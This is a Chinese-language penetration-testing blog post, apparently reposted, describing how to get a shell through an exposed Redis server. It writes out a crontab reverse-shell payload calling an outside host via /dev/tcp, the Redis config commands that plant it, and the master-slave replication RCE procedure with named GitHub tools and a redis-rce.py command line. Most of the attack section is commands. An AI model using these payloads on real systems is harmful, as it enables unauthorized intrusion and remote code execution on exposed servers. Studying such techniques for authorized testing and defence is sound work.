記一次Redis+Getshell經驗分享


前言:

當我們接到一個授權滲透測試的時候,常規漏洞如注入、文件上傳等嘗試無果后,掃描端口可能會發現意外收獲。

知己知彼乃百戰不殆,Redis介紹:

簡單來說 redis 就是一個Key-Value類型的數據庫, redis 所有數據全部在內存中進行操作,並且它可以將內存中的數據定期存儲在磁盤中,並且支持保存多種數據結構(String、hash、list等)。

運籌帷幄之中,Redis漏洞:

1、未授權訪問漏洞

Redis在默認情況下,會綁定在0.0.0.0:6379,如果沒有采用限制IP訪問,就會將Redis服務暴露在公網上,並且在沒有設置密碼認證的情況下,會導致任意用戶未授權訪問Redis以及讀取Redis數據並寫入公鑰進行遠程連接等。

當拿到數據庫權限是不會滿足我們的,我們的目標只有一個getshell!

目前較主流的兩個方法,第一種定時計划反彈shell、第二種利用主從復制rce。

2、定時計划反彈shell

1)set x “\n* * * * * bash -i >& /dev/tcp/1.1.1.1/888 0>&1\n”

2)config set dir /var/spool/cron/

3)config set dbfilename root

4)save

3、利用主從復制rce

漏洞存在於4.x、5.x版本中,Redis提供了主從模式,主從模式指使用一個redis作為主機,其他的作為備份機,主機從機數據都是一樣的,從機只負責讀,主機只負責寫。在Reids 4.x之后,通過外部拓展,可以實現在redis中實現一個新的Redis命令,構造惡意.so文件。在兩個Redis實例設置主從模式的時候,Redis的主機實例可以通過FULLRESYNC同步文件到從機上。然后在從機上加載惡意so文件,即可執行命令。

需要利用一個工具,GitHub下載即可。

1)git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand(需要make)

2)git clone https://github.com/Ridter/redis-rce.git

進而通過未授權訪問或者弱口令連接redis,執行腳本即可獲取shell。

決勝千里之外,實戰演練:

本次掃到了6379也就是Redis,有的時候可能或改默認端口,建議全端口掃描,本次利用主從復制rce獲取shell(由於該漏洞已提交src,簽約保密協議,故搭建靶機還原真實環境,保證原汁原味。)

攻擊端ip:192.168.109.134

服務端ip:192.168.109.136

通過未授權訪問連接redis(如果有密碼,可以嘗試爆破,authpassword 登陸系統):Redis-cli –h ip
利用主從復制rce獲取shell

首先要生成惡意.so文件,下載RedisModules-ExecuteCommand使用make編譯即可生成。
攻擊端執行:

python redis-rce.py -r 目標ip-p 目標端口 -L 本地ip -f 惡意.so

成功獲取shell

總結:

其實最難得還是需要細心,日常有授權測試的時候不要輕易放過任何數據包,以及一些js文件,它通常會給你帶來很多意外的驚喜。執着是好事,但是不能太鑽牛角尖,如果一個方面實在行不通的話,可以換條路走,畢竟條條大路最終都是通羅馬的。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM